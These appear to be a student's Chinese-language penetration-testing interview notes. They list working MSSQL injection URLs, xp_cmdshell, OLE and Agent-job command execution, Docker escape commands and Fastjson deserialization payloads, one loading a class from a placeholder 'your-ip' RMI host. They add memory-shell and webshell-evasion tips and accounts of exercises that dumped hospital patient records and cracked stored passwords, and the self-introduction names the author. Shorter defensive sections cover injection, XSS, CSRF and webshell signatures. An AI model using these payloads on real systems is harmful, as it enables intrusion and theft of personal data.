mssql注入(提权)

默认库了解:

master   //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
 
model    //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
 
msdb     //由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
 
tempdb   //它为临时表和其他临时工作提供了一个存储区。
 

主要关注master

select name from master.dbo.sysdatabases;  /*从这里查所有库名*/
 
 

每个库都有自己的syscolumns,存储所有字段

信息收集

@@version // 数据库版本
 
user  //获取当前数据库用户名
 
db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库
 
;select user //查询是否支持多语句

注入

判断数据库

http://192.168.130.137/1.aspx?id=1'and db_name()>0;--

爆表名:

http://192.168.130.137/1.aspx?id=1' and 1=(select top 1 name from sysobjects where xtype='u' and name !='info');--
 

爆列名:

http://192.168.130.137/1.aspx?id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'admin') and name<>'id');--
 

爆数据:

http://192.168.130.137/1.aspx?id=1' and 1=(select top 1 username from admin);--
 

因为mssql没有limit 所以只能用top 加上后面的判断来遍历数据 也支持information_schema

select * from INFORMATION_SCHEMA.TABLES
 
select * from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin'
 
http://192.168.130.137/1.aspx?id=1 and 1=(select top 1 table_name from information_schema.tables
);--

拿shell

  1. xp_cmdshell
-- 1. 开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
 
-- 2. 执行命令,查看回显
EXEC master..xp_cmdshell 'whoami';

有回显 2. sp_oacreate + sp_oamethod

-- 1. 开启OLE自动化过程
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
 
-- 2. 通过创建脚本对象执行命令(无回显,可将结果写入文件)
DECLARE @shell INT;
EXEC sp_oacreate 'wscript.shell', @shell OUTPUT;
EXEC sp_oamethod @shell, 'run', null, 'C:\Windows\System32\cmd.exe /c whoami > C:\temp\1.txt';

无回显,可以写入文件操作 3. CLR(公共语言运行时)

  • 需启用CLR功能
  • 编写一段C#代码(功能:执行系统命令并返回结果)。
  • 将其编译成DLL文件,再转换成十六进制字符串。
  • 在SQL中通过CREATE ASSEMBLY导入这个十六进制字符串。
  • 创建一个指向该DLL中方法的存储过程,调用即可执行命令。 类似udf提权,但不是真正写入磁盘文件,而是写入数据库
  1. Agent Job 一个windows的定时任务功能
USE msdb;
EXEC dbo.sp_add_job @job_name = N'MyCmdJob';  -- 创建作业
EXEC sp_add_jobstep @job_name = N'MyCmdJob', @step_name = N'my_step', 
    @subsystem = N'CmdExec',  -- 指定使用CmdExec子系统
    @command = N'whoami > C:\temp\job.txt';  -- 要执行的命令
EXEC dbo.sp_add_jobserver @job_name = N'MyCmdJob';
EXEC dbo.sp_start_job N'MyCmdJob';  -- 立即启动作业
  1. 备份拿Shell

内网穿透

http/https: 80/443端口,大部分开放,隐蔽,用的多 socks5隧道:流量转发协议, TCP/UDP隧道:几乎无损,速度快,特征明显容易被发现。 IMCP隧道:ping命令使用,隐蔽强,传输效率低 DNS隧道:穿透力最强,几乎都会放行。速度很慢

判断出网类型

  • icmp:ping一下
  • ssh:连接一下
  • dns:nslookup解析一下
  • http:curl一下
  • TCP:telnet ip port

代理

反向,可以拿到shell后cs建立一个sockes代理,就是创建了节点,然后proxfier添加规则,就通网了 正向,cs建立一个TCP(正向)马传上去,运行就会开一个口子,然后利用拿到的服务(已经上线c2的),连接就好connect 192.168.0.45(举例)

面试核心逻辑:如何选型?

面试官可能会给你一个场景,让你选择隧道类型。核心思路是**“由易到难,先探测后选择”**:

  1. 首选HTTP/HTTPS:只要目标能出网,且开放了80/443,它最隐蔽,是默认首选。

  2. 次选TCP/UDP:如果防火墙规则很松,需要速度,直接用TCP隧道

  3. 特殊场景选ICMP:当TCP/UDP被封锁,但发现目标能ping通外网时选用。

  4. 极限穿透选DNS:当所有常规出网方式都被切断,唯有DNS解析可用时,这是最后的希望。

  5. 绕过策略选IPv6:作为技术储备,用于对抗特定审计设备。

    工具:frp(反向),通用。ssh,suo5(http正向代理)

由边界主机要访问域控,不需要搭建隧道

云安全—容器逃逸

https://bbs.kanxue.com/thread-276813-1.htm

https://xz.aliyun.com/news/17111 判断依据:proc/1/cgroup目录下有特征、/.dockerenv文件、hostname等环境变量

  1. 特权模式下直接mount命令挂载宿主机磁盘,利用定时任务,写ssh公钥逃逸
  2. 查看是否把docker api暴露公网,2375端口,/info、/version可查看信息。 可通过docker -H tcp://ip:2375 ps来执行docker命令,我们通过再起一个容器并把新容器目录挂载来逃逸
docker -H tcp://ip:2375 run -id -v /:/tmp alpine:latest
docker -H tcp://ip:2375 ps # 看容器id
docker -H tcp://ip:2375 exec -it 8f9b946b36ec sh
  1. 挂载proc目录 linux中的/proc/sys/kernel/core_pattern这个文件,在进程崩溃的时候会记录信息。当core_pattern的第一个字符为管道符|时,它会以root用户权限执行管道符后指定的文件。

每个容器自己的目录下都存在一个diff文件夹,该文件夹中存放的内容为每个容器自创建之后与镜像文件相比做了改变的文件,该文件位置可知:

cat <<EOF>/newtest
#!/bin/bash
touch /tmp/4ut15mcc
EOF
 
chmod +x /newtest
 
sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab 
# 获取diff文件位置
 
echo -e "|/var/lib/docker/overlay2/48c7383863c8f600b40fc1b3a8447356a2431471b9bf31073d09fd0f6b1c6b1d/diff/newtest">core_pattern
 

然后来一段程序崩溃的程序就好了

#include <stdio.h>
int main(void)
 
    int *a = NULL;
    *a = 1;
    return 0;
}

shrio550

RememberMe 功能开启后会在cookie中携带 RememberMe 字段,其中是我们的信息经过 序列化--> aes密钥加密 -->base64加密 的字符串。 服务端收到后会 base64解密-->aes密钥解密 -->反序列化 然后做校验,但是问题出在shrio550采用硬编码aes密钥。 所以我们可以用改密钥 对我们构造的恶意序列化字节流继续aes密钥加密 后 base64加密,然后替换RememberMe字段。造成java反序列化攻击,当然要搭配其他链子,如cc链

shrio721

从硬编码AES加密密钥改为动态生成密钥。现在是未知密钥了 通过Padding Oracle攻击, 由一个已知的合法cookie,通过更换填充字节,看服务器返回的响应(RememberMe=deletme),爆破出中间密钥,用中间密钥直接伪造需要的反序列化payload。用工具爆破+伪造即可

shrio有key无链

利用JRMP协议(RMI底层协议),实现远程类加载,把恶意类放服务器上。直接造成命令执行

RMI 反序列化

RMI可以远程远程调用类,通过sockit传输,所以存在序列化额度问题

Fastjson

json存在@type字段时,会实例化指定的类。且调用对象的方法(setter、getter), @type主要市为了可以准确的反序列化我们需要的类 利用JdbcRowSetImpl类反序列化时触发的setter方法,会触发setDataSourceName("rmi://your-ip:1099/Exploit") 导致JNDI注入

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://your-ip:1099/Exploit",
    "autoCommit": true
}

不出网

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(需要开启Feature.SupportNonPublicField的反序列化,因为_bytecodes和_name是私有字段)

这个类可以造成命令执行,控制 _bytecodes 字段可以直接写入字节码,加载恶意类

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgAAADQA..."],  // 这里填充恶意类的Base64编码字节码
    "_name": "a",
    "_tfactory": {},
    "_outputProperties": {}
}

或者JdbcRowSetImpl+file://协议用文件读取

BasicDataSource(BCEL链)

{
    "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$Q$7d$T$...(此处为完整BCEL编码)",
    "connectionProperties": {
        "dummy": "test"
    }
}

也是加载字节码,但是是BCEL特定编码。需要tomcat依赖

高版本绕过——通杀

1.2.4之前可以直接打,1.2.5之后开始修复,加上了checkAutoType()方法来做检查 利用mapping中的缓存实现类加载

高版本JDK

jdk17之后不允许通过反射调用ClassLoaderdefineClass方法来动态加载字节码

利用checkCanSetAccessible()方法在检查权限时,如果发现调用者模块(callerModule)和声明者模块(declaringModule)是同一个,就会允许访问。

操作步骤:

  1. 通过反射获取sun.misc.Unsafe类的实例(因为jdk.unsupported模块开放了此包,所以可以反射)。
  2. 使用Unsafe类的objectFieldOffset()方法,获取Class类中名为module的字段的内存偏移量。
  3. 利用UnsafeputObject()getAndSetObject()方法,将当前类(攻击者代码所在的类)的module属性,修改为与 ClassLoader类相同的模块(即java.base模块)。

护网成果

市护

中心医院

在一个官网登录框的地方发现RememberMe功能,抓包发现shrio特征,尝试shrio550,直接工具打,可以命令执行。为了维持稳定shell,且不存在文件落地导致被发现,我选择注入内存马。

哥斯拉连接后获取到数据库配置,连接成功获取4000+用户权限,(这里是获得了账号/密码),但是发现密码存在加密,但是都是32位,所以怀疑是md5加密。可md5撞库破解

拿到多个账号权限(包括管理员),可登录多个web系统(OA,运维平台等)

fsan扫描到很多内网ip,其中一个里面直接显示了大量的患者信息,统计大概2w+。还有很多内网系统存在弱密码,我内网没有这么擅长所以就交给其他学长了。我看了一下大部分可能就是一些弱口令的登录造成大量的信息泄露

伍子醉 人力资源系统

(关于特征可以说一些前端源码,或者特殊路径) 发现帆软办公系统,I-Wanna-Get-All工具扫描是否存在相关的漏洞,发现存在帆软反序列化rce漏洞

进一步FrChannelPlus工具,反序列化RCE成功。为了建立稳定的shell且没有文件落地,尝试打入内存马,后哥斯拉连接成功。后翻找文件系统看是否存在一些配置文件,找到数据库配置。

数据库连接后获取大量的员工敏感信息。 为了进一步扩大危害,尝试对内网系统渗透。 (学长C2搭建的socks5) 利用fscan扫描到几台内网机器,并直接泄露了账号密码。直接搭建隧道远程连接上去。 其中一台电脑上有全厂区监控信息,且session无过期设置

还发现一些其他组件,我打了一个redis未授权写计划任务

省护

桃园供水(网络技术有限公司)

无影扫到fastjson,rce成功。写入内存马。(关于版本可以多看看插件等,然后用java——chain工具生成链子)

翻找了一下文件系统,发现了数据库配置文件。 搭建suo5隧道。获取数据库管理员权限。然后居然还发现了一些疑似windows主机的账号密码,(administor什么的)

后再内网发现大量未授权服务,包括redis,mongodb 在数据库中发现了windows主机账号密码 (困难),发现密码存在加密,且加密逻辑未知,于是翻找源码,逆向,找到了加密逻辑,破解出密码。

RDP登录主机,之后用e0e1,破解了edge浏览器存储的密码 (困难)(这里当时是其他主机连接不上RDP,能连接到sbm-server,于是在这里搭建隧道)

(困难)RDP链接额后e0e1-config破解浏览器密码时,无对应32位版本,于是直接手动编译

获取大量内网或web密码,收集密码本批量爆破

人民医院

就是弱口令进入后台,有大量患者敏感信息

然后又发现了一个搜索的地方,肯定想到去测一下sql注入 sqlmap发现存在mssql的注入,利用xpcmdshell获取shell,(困难)但是无回显。可以写文件,也可以利用vshell上线

信息收集

开始会拿到一些ip,公司名,域名等基础信息。 爱企查,企查查等搜索相关的业务,小程序等。还有一些github等,看有没有信息泄露

之后利用fofa,鹰图等被动收集一些边缘的子域名 用工具爆破,主动收集子域名(oneforall,ksubdomain等) nmap等端口探测

后做一些指纹识别,发现一些特征,会把例如相同的cms或者oa系统归类到一起,方便后面统一进行一些漏洞扫描工具利用。

这是大家一起做的,后来就根据信息收集的这些信息统一汇总到共创文档,开始分配任务。

内存马

为了防止传统木马的文件落地,选择往web服务器的内存中动态注册恶意组件,造成RCE 通过调用内置的注册接口来注册恶意服务

tomcat

listener,servlet,filter 动态注册恶意服务实现内存马

springboot

Controller,Interceptor,WebFlux动态注册恶意组件

sql防御

预编译,最小权限,waf,过滤危险字符(—+,# ,‘ 等)

预编译

并不是完全安全,例如 order by 这些无法使用预编译,like模糊查询无法预编译, 并且存在默认模拟预编译,在客户端对‘等字符进行/转义而已,所以可以使用宽字节入住吞掉这个/

常见webshell特征

蚁剑

UA头特征

Content-Type是 application/x-www-form-urlencoded,但它的Body体里却包含了JSON格式或特殊的多行数据

简单的base64加密

冰蝎

冰蝎的默认Accept头通常为 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Type都是 application/octet-stream(二进制流),而不是表单提交。 Accept和Accept-language

哥斯拉

在Cookie中有一个很明显的特征:最后有一个分号

防御

XSS

对输出xss进行转义HTML实体 对用户输入进行过滤 CSP策略,配置只能加载特定的外部资源,脚本图片什么的

CSRF

验证 HTTP Referer 添加 CSRF Token 关键操作前使用验证码

SSRF

对输入URL过滤(127.0.0.1等) 禁止重定向等

文件上传绕过

内容

<?禁用可以用<script language="php"> </script>这个js标签来代替(低版本)

如果php关键字过滤了,还可以配合.htaccess文件中的文件包含+filter的base64(或其他)解密来用base64字符串绕过

单纯过滤<?php还可以用短标签,<?<%绕过

文件名

大小写,双写。 解析漏洞 %00 0x00等 php3,php4,phtml等 .htaccess 、.user.ini 等

反序列化链

URLNDS

主要是通过hashmap对象反序列化时,会调用hash函数,然后一路调用,最后调用了URL类的hashcode方法,会向指定URL发送http请求。

CC1

通过InvokerTransformer实现命令执行 通过TransformedMap.checkSetValue调用InvokerTransformer实现命令执行 或Lazymap.get

CC2

自我介绍

面试官你好,我是来自湖南科技大学信息安全专业的一名学生,我叫李松涛。我是从大一下学期开始加入学校的网络安全实验室开始正式的学习CTF的相关知识,并且大二上放假之前加入了一支CTF联合战队,跟随战队和学校打一些CTF比赛,但是个人可能对这比赛方面的天赋能力这块有所欠缺,打出来的成绩也有限,所以还是打算往实战方面发展。然后后面就尝试挖一挖洞之类的,也跟随学校的学长他们参加了几场市里的省里的护网,也打了一定的成果(虽然不是很多),但是也积累了一定的实战经验。具备个人的挖掘漏洞及书写报告的能力。然后我个人就是喜欢尝试一些新的技术,比如今年也是AI发展很快嘛,我个人对AI方面也有强烈的兴趣,也会经常把AI融入到平时的日常学习,渗透测试中,也个人尝试ai开发一些小项目小工具什么的。

webshell免杀

静态免杀:主要改一些强特征,http请求头 动态免杀:改加密算法,流量特征

域渗透

找域控

net user /domain 
net group /domain 
#可以列出域内用户和组
 
net time /domain
# 和域控同步时间所以会显示域控名
 
 
# 找到后可一点ping一下
 
net view /domain
 
 

端口

3389:RDP 1433:mssql 25:SMTP 2375:docker api 27017:mangodb